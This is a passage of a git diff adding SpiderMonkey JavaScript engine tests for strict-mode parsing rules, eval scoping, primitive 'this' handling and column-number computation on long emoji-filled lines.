+checkAfter('"\\8"', JSMSG_DEPRECATED_EIGHT_OR_NINE_ESCAPE);
+checkAfter('"\\222"', JSMSG_DEPRECATED_OCTAL_ESCAPE);
+checkAfter('"\\222\\8"', JSMSG_DEPRECATED_EIGHT_OR_NINE_ESCAPE);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/directive-prologue-01.js b/js/src/tests/non262/strict/directive-prologue-01.js
new file mode 100644
index 0000000000..681fa92933
--- /dev/null
+++ b/js/src/tests/non262/strict/directive-prologue-01.js
@@ -0,0 +1,78 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 601262;
+var summary =
+ "A string literal containing an octal escape before a strict mode " +
+ "directive should be a syntax error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ eval(" '\\145'; 'use strict'; ");
+ throw new Error("no error thrown for eval");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in eval");
+}
+
+try
+{
+ Function(" '\\145'; 'use strict'; ");
+ throw new Error("no error thrown for Function");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in Function");
+}
+
+try
+{
+ eval(" function f(){ '\\145'; 'use strict'; } ");
+ throw new Error("no error thrown for eval of function");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in eval of " +
+ "function");
+}
+
+try
+{
+ Function(" function f(){ '\\145'; 'use strict'; } ");
+ throw new Error("no error thrown for eval of function");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "wrong error for octal-escape before strict directive in eval of " +
+ "function");
+}
+
+eval("function notAnError1() { 5; '\\145'; function g() { 'use strict'; } }");
+
+Function("function notAnError2() { 5; '\\145'; function g() { 'use strict'; } }");
+
+function notAnError3()
+{
+ 5;
+ "\145";
+ function g() { "use strict"; }
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/strict/eval-variable-environment.js b/js/src/tests/non262/strict/eval-variable-environment.js
new file mode 100644
index 0000000000..a10f43f431
--- /dev/null
+++ b/js/src/tests/non262/strict/eval-variable-environment.js
@@ -0,0 +1,67 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var code;
+
+code =
+ "eval('var x = 2; typeof x');";
+assertEq(testLenientAndStrict(code, returns("number"), returns("number")),
+ true);
+
+code =
+ "eval('\"use strict\"; var x = 2; typeof x');";
+assertEq(testLenientAndStrict(code, returns("number"), returns("number")),
+ true);
+
+code =
+ "eval('var x = 2;'); " +
+ "typeof x";
+assertEq(testLenientAndStrict(code, returns("number"), returns("undefined")),
+ true);
+
+code =
+ "eval('\"use strict\"; var x = 2;'); " +
+ "typeof x";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+code =
+ "eval('\"use strict\"; var x = 2; typeof x'); " +
+ "typeof x";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+code =
+ "function test() " +
+ "{ " +
+ " eval('var x = 2;'); " +
+ " return typeof x; " +
+ "} " +
+ "test();";
+assertEq(testLenientAndStrict(code, returns("number"), returns("undefined")),
+ true);
+
+code =
+ "function test() " +
+ "{ " +
+ " 'use strict'; " +
+ " eval('var x = 2;'); " +
+ " return typeof x; " +
+ "} " +
+ "test();";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+code =
+ "function test() " +
+ "{ " +
+ " eval('\"use strict\"; var x = 2;'); " +
+ " return typeof x; " +
+ "} " +
+ "test();";
+assertEq(testLenientAndStrict(code, returns("undefined"), returns("undefined")),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/primitive-assignment.js b/js/src/tests/non262/strict/primitive-assignment.js
new file mode 100644
index 0000000000..4b2ee79f0e
--- /dev/null
+++ b/js/src/tests/non262/strict/primitive-assignment.js
@@ -0,0 +1,23 @@
+let primitives = [
+ 10,
+ false,
+ "test",
+ Symbol()
+];
+
+let key = "key";
+
+for (let value of primitives) {
+ // Doesn't throw outside strict mode.
+ assertEq(value.x = 5, 5);
+ assertEq(value[key] = 6, 6);
+
+ assertThrowsInstanceOf(function() { "use strict"; value.x = 5; }, TypeError);
+ assertThrowsInstanceOf(function() { "use strict"; value[key] = 6; }, TypeError);
+
+ let target = {};
+ assertEq(Reflect.set(target, key, 5, value), false);
+ assertEq(key in target, false);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/primitive-this-getter.js b/js/src/tests/non262/strict/primitive-this-getter.js
new file mode 100644
index 0000000000..55fd79d9df
--- /dev/null
+++ b/js/src/tests/non262/strict/primitive-this-getter.js
@@ -0,0 +1,56 @@
+let primitives = [
+ 10,
+ false,
+ "test",
+ Symbol()
+]
+
+let getter = "getter";
+let getter2 = "getter2";
+let key = "key";
+
+for (let value of primitives) {
+ let prototype = Object.getPrototypeOf(value);
+
+ // Strict getters receive a primitive this value.
+ Object.defineProperty(prototype, "getter", {get: function() {
+ "use strict";
+ assertEq(this, value);
+ return "getter";
+ }})
+
+ assertEq(value.getter, "getter");
+ assertEq(value[getter], "getter");
+
+ // The proxy's [[Get]] trap is also invoked with primitive receiver values.
+ let proxy = new Proxy({}, {
+ get(target, property, receiver) {
+ assertEq(property, "key");
+ assertEq(receiver, value);
+ return "get";
+ }
+ });
+
+ Object.setPrototypeOf(prototype, proxy);
+ assertEq(value.key, "get");
+ assertEq(value[key], "get");
+ assertEq(value.getter, "getter");
+ assertEq(value[getter], "getter");
+
+ // A getter still gets a primitive this value even after going through a proxy.
+ proxy = new Proxy({
+ get getter2() {
+ "use strict";
+ assertEq(this, value);
+ return "getter2";
+ }
+ }, {});
+
+ Object.setPrototypeOf(prototype, proxy);
+ assertEq(value.getter2, "getter2");
+ assertEq(value[getter2], "getter2");
+ assertEq(value.getter, "getter");
+ assertEq(value[getter], "getter");
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/primitive-this-no-writeback.js b/js/src/tests/non262/strict/primitive-this-no-writeback.js
new file mode 100644
index 0000000000..2f58fb2316
--- /dev/null
+++ b/js/src/tests/non262/strict/primitive-this-no-writeback.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Verify that GETTHISPROP does not update the frame's |this| slot. */
+
+var f = String.prototype.m = function () {
+ "use strict";
+ assertEq(this, "s");
+ // The GETTHISPROP should not cause |this| to become wrapped.
+ return [this.m, this];
+};
+var a = "s".m();
+assertEq(a[0], f);
+assertEq(a[1], "s");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/rebind-eval-should-fail-in-strict-mode.js b/js/src/tests/non262/strict/rebind-eval-should-fail-in-strict-mode.js
new file mode 100644
index 0000000000..41f0076273
--- /dev/null
+++ b/js/src/tests/non262/strict/rebind-eval-should-fail-in-strict-mode.js
@@ -0,0 +1,39 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BadSyntaxStrings = [
+ "function foo1() { \"use strict\"; try {} catch (eval) {} }",
+ "function foo2() { \"use strict\"; let eval = 9; foo(); }",
+ "function foo3() { \"use strict\"; for (let eval = 3;;) { foo(); }}",
+ "function foo4() { \"use strict\"; for (let eval in {a:1}) { foo(); }}",
+ "function foo5() { \"use strict\"; for (let eval of [1, 2, 3]) { foo(); }}",
+ "function foo6() { \"use strict\"; var eval = 12; }",
+ "function foo7() { \"use strict\"; for (var eval = 3;;) { foo(); }}",
+ "function foo8() { \"use strict\"; for (var eval in {a:1}) { foo(); }}",
+ "function foo9() { \"use strict\"; for (var eval of [1, 2, 3]) { foo(); }}",
+ "function foo10() { \"use strict\"; const eval = 12; }",
+ "function foo11() { \"use strict\"; for (const eval = 3;;) { foo(); }}",
+ "function foo12() { \"use strict\"; return [eval for (eval of [1, 2, 3])]; }",
+ "function foo13() { \"use strict\"; return [eval for (eval in {a:3})]; }",
+ "function foo14() { \"use strict\"; return (eval for (eval of [1, 2, 3])); }",
+ "function foo15() { \"use strict\"; return (eval for (eval in {a:3})); }"
+];
+
+function testString(s, i) {
+ var gotSyntaxError = -1;
+ try {
+ eval(s);
+ } catch(err) {
+ if (err instanceof SyntaxError)
+ gotSyntaxError = i;
+ }
+
+ assertEq(gotSyntaxError, i);
+}
+
+for (var i = 0; i < BadSyntaxStrings.length; i++)
+ testString(BadSyntaxStrings[i], i);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/regress-532041.js b/js/src/tests/non262/strict/regress-532041.js
new file mode 100644
index 0000000000..82311f3b9c
--- /dev/null
+++ b/js/src/tests/non262/strict/regress-532041.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+
+/*
+ * JSFunction::findDuplicateFormal (nee js_FindDuplicateFormal), used
+ * by strict checks, sometimes failed to choose the correct branch of
+ * the fun->u.i.names union: it used the argument count, not the
+ * overall name count.
+ */
+function f(a1,a2,a3,a4,a5) { "use strict"; var v1, v2, v3, v4, v5, v6, v7; }
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/regress-532254.js b/js/src/tests/non262/strict/regress-532254.js
new file mode 100644
index 0000000000..d45dbba6f5
--- /dev/null
+++ b/js/src/tests/non262/strict/regress-532254.js
@@ -0,0 +1,13 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('function f(eval,[x]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/regress-599159.js b/js/src/tests/non262/strict/regress-599159.js
new file mode 100644
index 0000000000..71a413e2d9
--- /dev/null
+++ b/js/src/tests/non262/strict/regress-599159.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Shu's test
+function test(makeNonArray) {
+ function C() {}
+ C.prototype = []
+ if (makeNonArray)
+ C.prototype.constructor = C
+ c = new C();
+ c.push("foo");
+ return c.length
+}
+assertEq(test(true), 1);
+assertEq(test(false), 1);
+
+// jorendorff's longer test
+var a = [];
+a.slowify = 1;
+var b = Object.create(a);
+b.length = 12;
+assertEq(b.length, 12);
+
+// jorendorff's shorter test
+var b = Object.create(Array.prototype);
+b.length = 12;
+assertEq(b.length, 12);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/shell.js b/js/src/tests/non262/strict/shell.js
new file mode 100644
index 0000000000..9d8c8695ee
--- /dev/null
+++ b/js/src/tests/non262/strict/shell.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+(function(global) {
+
+ /*
+ * Return true if both of these return true:
+ * - LENIENT_PRED applied to CODE
+ * - STRICT_PRED applied to CODE with a use strict directive added to the front
+ *
+ * Run STRICT_PRED first, for testing code that affects the global environment
+ * in loose mode, but fails in strict mode.
+ */
+ global.testLenientAndStrict = function testLenientAndStrict(code, lenient_pred, strict_pred) {
+ return (strict_pred("'use strict'; " + code) &&
+ lenient_pred(code));
+ }
+
+ /*
+ * parsesSuccessfully(CODE) returns true if CODE parses as function
+ * code without an error.
+ */
+ global.parsesSuccessfully = function parsesSuccessfully(code) {
+ try {
+ Function(code);
+ return true;
+ } catch (exception) {
+ return false;
+ }
+ };
+
+ /*
+ * parseRaisesException(EXCEPTION)(CODE) returns true if parsing CODE
+ * as function code raises EXCEPTION.
+ */
+ global.parseRaisesException = function parseRaisesException(exception) {
+ return function (code) {
+ try {
+ Function(code);
+ return false;
+ } catch (actual) {
+ return exception.prototype.isPrototypeOf(actual);
+ }
+ };
+ };
+
+ /*
+ * returns(VALUE)(CODE) returns true if evaluating CODE (as eval code)
+ * completes normally (rather than throwing an exception), yielding a value
+ * strictly equal to VALUE.
+ */
+ global.returns = function returns(value) {
+ return function(code) {
+ try {
+ return eval(code) === value;
+ } catch (exception) {
+ return false;
+ }
+ }
+ }
+
+})(this);
diff --git a/js/src/tests/non262/strict/strict-function-statements.js b/js/src/tests/non262/strict/strict-function-statements.js
new file mode 100644
index 0000000000..e6dc151394
--- /dev/null
+++ b/js/src/tests/non262/strict/strict-function-statements.js
@@ -0,0 +1,94 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Ordinary function definitions should be unaffected.
+assertEq(testLenientAndStrict("function f() { }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Lambdas are always permitted within blocks.
+assertEq(testLenientAndStrict("{ (function f() { }) }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Function statements within unbraced blocks are forbidden in strict mode code.
+// They are allowed only under if statements in sloppy mode.
+assertEq(testLenientAndStrict("if (true) function f() { }",
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("while (true) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("do function f() { } while (true);",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("for(;;) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("for(x in []) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("with(o) function f() { }",
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("switch(1) { case 1: function f() { } }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict("x: function f() { }",
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict("try { function f() { } } catch (x) { }",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Lambdas are always permitted within any sort of statement.
+assertEq(testLenientAndStrict("if (true) (function f() { })",
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+// Function statements are permitted in blocks within lenient functions.
+assertEq(parsesSuccessfully("function f() { function g() { } }"),
+ true);
+
+// Function statements are permitted in if statement within lenient functions.
+assertEq(parsesSuccessfully("function f() { if (true) function g() { } }"),
+ true);
+
+assertEq(parseRaisesException(SyntaxError)
+ ("function f() { 'use strict'; if (true) function g() { } }"),
+ true);
+
+assertEq(parsesSuccessfully("function f() { 'use strict'; { function g() { } } }"),
+ true);
+
+assertEq(parsesSuccessfully("function f() { 'use strict'; if (true) (function g() { }) }"),
+ true);
+
+assertEq(parsesSuccessfully("function f() { 'use strict'; { (function g() { }) } }"),
+ true);
+
+// Eval should behave the same way. (The parse-only tests use the Function constructor.)
+assertEq(testLenientAndStrict("function f() { }",
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict("{ function f() { } }",
+ completesNormally,
+ completesNormally),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/strict-this-is-not-truthy.js b/js/src/tests/non262/strict/strict-this-is-not-truthy.js
new file mode 100644
index 0000000000..ec1a86837a
--- /dev/null
+++ b/js/src/tests/non262/strict/strict-this-is-not-truthy.js
@@ -0,0 +1,12 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// See bug 630543.
+
+function f() {
+ "use strict";
+ return !this;
+}
+assertEq(f.call(null), true);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/strict/this-for-function-expression-recursion.js b/js/src/tests/non262/strict/this-for-function-expression-recursion.js
new file mode 100644
index 0000000000..197b4646cf
--- /dev/null
+++ b/js/src/tests/non262/strict/this-for-function-expression-recursion.js
@@ -0,0 +1,44 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'this-for-function-expression-recursion.js';
+var BUGNUMBER = 611276;
+var summary = "JSOP_CALLEE should push undefined, not null, for this";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Calling a named function expression (not function statement) uses the
+// JSOP_CALLEE opcode. This opcode pushes its own |this|, distinct from the
+// normal call path; verify that that |this| value is properly |undefined|.
+
+var calleeThisFun =
+ function calleeThisFun(recurring)
+ {
+ if (recurring)
+ return this;
+ return calleeThisFun(true);
+ };
+assertEq(calleeThisFun(false), this);
+
+var calleeThisStrictFun =
+ function calleeThisStrictFun(recurring)
+ {
+ "use strict";
+ if (recurring)
+ return this;
+ return calleeThisStrictFun(true);
+ };
+assertEq(calleeThisStrictFun(false), undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/strict/unbrand-this.js b/js/src/tests/non262/strict/unbrand-this.js
new file mode 100644
index 0000000000..219d1588e1
--- /dev/null
+++ b/js/src/tests/non262/strict/unbrand-this.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Test JSOP_UNBRANDTHIS's behavior on object and non-object |this| values. */
+
+function strict() {
+ "use strict";
+ this.insert = function(){ bar(); };
+ function bar() {}
+}
+
+var exception;
+
+// Try 'undefined' as a |this| value.
+exception = null;
+try {
+ strict.call(undefined);
+} catch (x) {
+ exception = x;
+}
+assertEq(exception instanceof TypeError, true);
+
+// Try 'null' as a |this| value.
+exception = null;
+try {
+ strict.call(null);
+} catch (x) {
+ exception = x;
+}
+assertEq(exception instanceof TypeError, true);
+
+// An object as a |this| value should be fine.
+exception = null;
+try {
+ strict.call({});
+} catch (x) {
+ exception = x;
+}
+assertEq(exception, null);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/syntax/browser.js b/js/src/tests/non262/syntax/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/syntax/browser.js
diff --git a/js/src/tests/non262/syntax/column-numbers-in-long-lines.js b/js/src/tests/non262/syntax/column-numbers-in-long-lines.js
new file mode 100644
index 0000000000..56ce74f86b
--- /dev/null
+++ b/js/src/tests/non262/syntax/column-numbers-in-long-lines.js
@@ -0,0 +1,403 @@
+// |reftest| skip-if(!this.hasOwnProperty('Reflect')||!Reflect.parse) -- uses Reflect.parse(..., { loc: true}) to trigger the column-computing API
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1551916;
+var summary =
+ "Optimize computing a column number as count of code points by caching " +
+ "column numbers (and whether each chunk might contain anything multi-unit) " +
+ "and counting forward from them";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Various testing of column-number computations, with respect to counting as
+// code points or units, for very long lines.
+//
+// This test should pass when column numbers are counts of code points (current
+// behavior) or code units (past behavior). It also *should* pass for any valid
+// |TokenStreamAnyChars::ColumnChunkLength| value (it must be at least 4 so that
+// the maximum-length code point in UTF-8/16 will fit in a single chunk),
+// because the value of that constant should be externally invisible save for
+// perf effects. (As a result, recompiling and running this test with a variety
+// of different values assigned to that constant is a good smoke-test of column
+// number computation, that doesn't require having to closely inspect any
+// column-related code.)
+//
+// However, this test is structured on the assumption that that constant has the
+// value 128, in order to exercise in targeted fashion various column number
+// computation edge cases.
+//
+// All this testing *could* be written to not be done with |Reflect.parse| --
+// backwards column computations happen even when compiling normal code, in some
+// cases. But it's much more the exception than the rule. And |Reflect.parse|
+// has *very* predictable column-computation operations (basically start/end
+// coordinates are computed immediately when the end of an AST node is reached)
+// that make it easier to recognize what the exact pattern of computations for
+// which offsets will look like.
+
+// Helper function for checking node location tersely.
+function checkLoc(node, expectedStart, expectedEnd)
+{
+ let start = node.loc.start;
+
+ assertEq(start.line, expectedStart[0],
+ "start line number must be as expected");
+ assertEq(start.column, expectedStart[1],
+ "start column number must be as expected");
+
+ let end = node.loc.end;
+
+ assertEq(end.line, expectedEnd[0], "end line number must be as expected");
+ assertEq(end.column, expectedEnd[1],
+ "end column number must be as expected");
+}
+
+function lengthInCodePoints(str)
+{
+ return [...str].length;
+}
+
+// True if column numbers are counts of code points, false otherwise. This
+// constant can be used to short-circuit testing that isn't point/unit-agnostic.
+const columnsAreCodePoints = (function()
+{
+ var columnTypes = [];
+
+ function checkColumn(actual, expectedPoints, expectedUnits)
+ {
+ if (actual === expectedPoints)
+ columnTypes.push("p");
+ else if (actual === expectedUnits)
+ columnTypes.push("u");
+ else
+ columnTypes.push("x");
+ }
+
+ var script = Reflect.parse('"😱😱😱😱";', { loc: true });
+ assertEq(script.type, "Program");
+ assertEq(script.loc.start.line, 1);
+ assertEq(script.loc.end.line, 1);
+ assertEq(script.loc.start.column, 0);
+ checkColumn(script.loc.end.column, 7, 11);
+
+ var body = script.body;
+ assertEq(body.length, 1);
+
+ var stmt = body[0];
+ assertEq(stmt.type, "ExpressionStatement");
+ assertEq(stmt.loc.start.line, 1);
+ assertEq(stmt.loc.end.line, 1);
+ assertEq(stmt.loc.start.column, 0);
+ checkColumn(stmt.loc.end.column, 7, 11);
+
+ var expr = stmt.expression;
+ assertEq(expr.type, "Literal");
+ assertEq(expr.value, "😱😱😱😱");
+ assertEq(expr.loc.start.line, 1);
+ assertEq(expr.loc.end.line, 1);
+ assertEq(expr.loc.start.column, 0);
+ checkColumn(expr.loc.end.column, 6, 10);
+
+ var checkResult = columnTypes.join(",");
+
+ assertEq(checkResult === "p,p,p" || checkResult === "u,u,u", true,
+ "columns must be wholly code points or units: " + checkResult);
+
+ return checkResult === "p,p,p";
+})();
+
+// Start with some basic sanity-testing, without regard to exactly when, how, or
+// in what order (offset => column) computations are performed.
+function testSimple()
+{
+ if (!columnsAreCodePoints)
+ return;
+
+ // Array elements within the full |simpleCode| string constructed below are
+ // one-element arrays containing the string "😱😱#x" where "#" is the
+ // character that, in C++, could be written as |'(' + i| where |i| is the
+ // index of the array within the outer array.
+ let simpleCodeArray =
+ [
+ 'var Q = [[', // column 0, offset 0
+ // REPEAT
+ '"😱😱(x"],["', // column 10, offset 10
+ '😱😱)x"],["😱', // column 20, offset 22
+ '😱*x"],["😱😱', // column 30, offset 35
+ '+x"],["😱😱,', // column 40, offset 48
+ 'x"],["😱😱-x', // column 50, offset 60
+ '"],["😱😱.x"', // column 60, offset 72
+ '],["😱😱/x"]', // column 70, offset 84
+ ',["😱😱0x"],', // column 80, offset 96
+ '["😱😱1x"],[', // column 90, offset 108
+ // REPEAT
+ '"😱😱2x"],["', // column 100, offset 120 -- chunk limit between "]
+ '😱😱3x"],["😱', // column 110, offset 132
+ '😱4x"],["😱😱', // column 120, offset 145
+ '5x"],["😱😱6', // column 130, offset 158
+ 'x"],["😱😱7x', // column 140, offset 170
+ '"],["😱😱8x"', // column 150, offset 182
+ '],["😱😱9x"]', // column 160, offset 194
+ ',["😱😱:x"],', // column 170, offset 206
+ '["😱😱;x"],[', // column 180, offset 218
+ // REPEAT
+ '"😱😱<x"],["', // column 190, offset 230
+ '😱😱=x"],["😱', // column 200, offset 242
+ '😱>x"],["😱😱', // column 210, offset 255 -- chunk limit splits first 😱
+ '?x"],["😱😱@', // column 220, offset 268
+ 'x"],["😱😱Ax', // column 230, offset 280
+ '"],["😱😱Bx"', // column 240, offset 292
+ '],["😱😱Cx"]', // column 250, offset 304
+ ',["😱😱Dx"],', // column 260, offset 316
+ '["😱😱Ex"],[', // column 270, offset 328
+ // REPEAT
+ '"😱😱Fx"],["', // column 280, offset 340
+ '😱😱Gx"],["😱', // column 290, offset 352
+ '😱Hx"],["😱😱', // column 300, offset 365
+ 'Ix"],["😱😱J', // column 310, offset 378 -- chunk limit between ["
+ 'x"],["😱😱Kx', // column 320, offset 390
+ '"],["😱😱Lx"', // column 330, offset 402
+ '],["😱😱Mx"]', // column 340, offset 414
+ ',["😱😱Nx"],', // column 350, offset 426
+ '["😱😱Ox"]];', // column 360 (10 long), offset 438 (+12 to end)
+ ];
+ let simpleCode = simpleCodeArray.join("");
+
+ // |simpleCode| overall contains this many code points. (This number is
+ // chosen to be several |TokenStreamAnyChars::ColumnChunkLength = 128| chunks
+ // long so that long-line handling is exercised, and the relevant vector
+ // increased in length, for more than one chunk [which would be too short to
+ // trigger chunking] and for more than two chunks [so that vector extension
+ // will eventually occur].)
+ const CodePointLength = 370;
+
+ assertEq(lengthInCodePoints(simpleCode), CodePointLength,
+ "code point count should be correct");
+
+ // |simpleCodeArray| contains this many REPEAT-delimited cycles.
+ const RepetitionNumber = 4;
+
+ // Each cycle consists of this many elements.
+ const ElementsPerCycle = 9;
+
+ // Each element in a cycle has at least this many 😱.
+ const MinFaceScreamingPerElementInCycle = 2;
+
+ // Each cycle consists of many elements with three 😱.
+ const ElementsInCycleWithThreeFaceScreaming = 2;
+
+ // Compute the overall number of UTF-16 code units. (UTF-16 because this is a
+ // JS string as input.)
+ const OverallCodeUnitCount =
+ CodePointLength +
+ RepetitionNumber * (ElementsPerCycle * MinFaceScreamingPerElementInCycle +
+ ElementsInCycleWithThreeFaceScreaming);
+
+ // Code units != code points.
+ assertEq(OverallCodeUnitCount > CodePointLength, true,
+ "string contains code points outside BMP, so length in units " +
+ "exceeds length in points");
+
+ // The overall computed number of code units has this exact numeric value.
+ assertEq(OverallCodeUnitCount, 450,
+ "code unit count computation produces this value");
+
+ // The overall computed number of code units matches the string length.
+ assertEq(simpleCode.length, OverallCodeUnitCount, "string length must match");
+
+ // Evaluate the string.
+ var Q;
+ eval(simpleCode);
+
+ // Verify characteristics of the resulting execution.
+ assertEq(Array.isArray(Q), true);
+
+ const NumArrayElements = 40;
+ assertEq(Q.length, NumArrayElements);
+ Q.forEach((v, i) => {
+ assertEq(Array.isArray(v), true);
+ assertEq(v.length, 1);
+ assertEq(v[0], "😱😱" + String.fromCharCode('('.charCodeAt(0) + i) + "x");
+ });
+
+ let parseTree = Reflect.parse(simpleCode, { loc: true });
+
+ // Check the overall script.
+ assertEq(parseTree.type, "Program");
+ checkLoc(parseTree, [1, 0], [1, 370]);
+ assertEq(parseTree.body.length, 1);
+
+ // Check the coordinates of the declaration.
+ let varDecl = parseTree.body[0];
+ assertEq(varDecl.type, "VariableDeclaration");
+ checkLoc(varDecl, [1, 0], [1, 369]);
+
+ // ...and its initializing expression.
+ let varInit = varDecl.declarations[0].init;
+ assertEq(varInit.type, "ArrayExpression");
+ checkLoc(varInit, [1, 8], [1, 369]);
+
+ // ...and then every literal inside it.
+ assertEq(varInit.elements.length, NumArrayElements, "array literal length");
+
+ const ItemLength = lengthInCodePoints('["😱😱#x"],');
+ assertEq(ItemLength, 9, "item length check");
+
+ for (let i = 0; i < NumArrayElements; i++)
+ {
+ let elem = varInit.elements[i];
+ assertEq(elem.type, "ArrayExpression");
+
+ let startCol = 9 + i * ItemLength;
+ let endCol = startCol + ItemLength - 1;
+ checkLoc(elem, [1, startCol], [1, endCol]);
+
+ let arrayElems = elem.elements;
+ assertEq(arrayElems.length, 1);
+
+ let str = arrayElems[0];
+ assertEq(str.type, "Literal");
+ assertEq(str.value,
+ "😱😱" + String.fromCharCode('('.charCodeAt(0) + i) + "x");
+ checkLoc(str, [1, startCol + 1], [1, endCol - 1]);
+ }
+}
+testSimple();
+
+// Test |ChunkInfo::unitsType() == UnitsType::GuaranteedSingleUnit| -- not that
+// it should be observable, precisely, but effects of mis-applying or
+// miscomputing it would in principle be observable if such were happening.
+// This test also is intended to to be useful for (manually, in a debugger)
+// verifying that the optimization is computed and kicks in correctly.
+function testGuaranteedSingleUnit()
+{
+ if (!columnsAreCodePoints)
+ return;
+
+ // Begin a few array literals in a first chunk to test column computation in
+ // that first chunk.
+ //
+ // End some of them in the first chunk to test columns *before* we know we
+ // have a long line.
+ //
+ // End one array *outside* the first chunk to test a computation inside a
+ // first chunk *after* we know we have a long line and have computed a first
+ // chunk.
+ let mixedChunksCode = "var Z = [ [ [],"; // column 0, offset 0
+ assertEq(mixedChunksCode.length, 15);
+ assertEq(lengthInCodePoints(mixedChunksCode), 15);
+
+ mixedChunksCode +=
+ " ".repeat(128 - mixedChunksCode.length); // column 15, offset 15
+ assertEq(mixedChunksCode.length, 128);
+ assertEq(lengthInCodePoints(mixedChunksCode), 128);
+
+ // Fill out a second chunk as also single-unit, with an outer array literal
+ // that begins in this chunk but finishes in the next (to test column
+ // computation in a prior, guaranteed-single-unit chunk).
+ mixedChunksCode += "[" + "[],".repeat(42) + " "; // column 128, offset 128
+ assertEq(mixedChunksCode.length, 256);
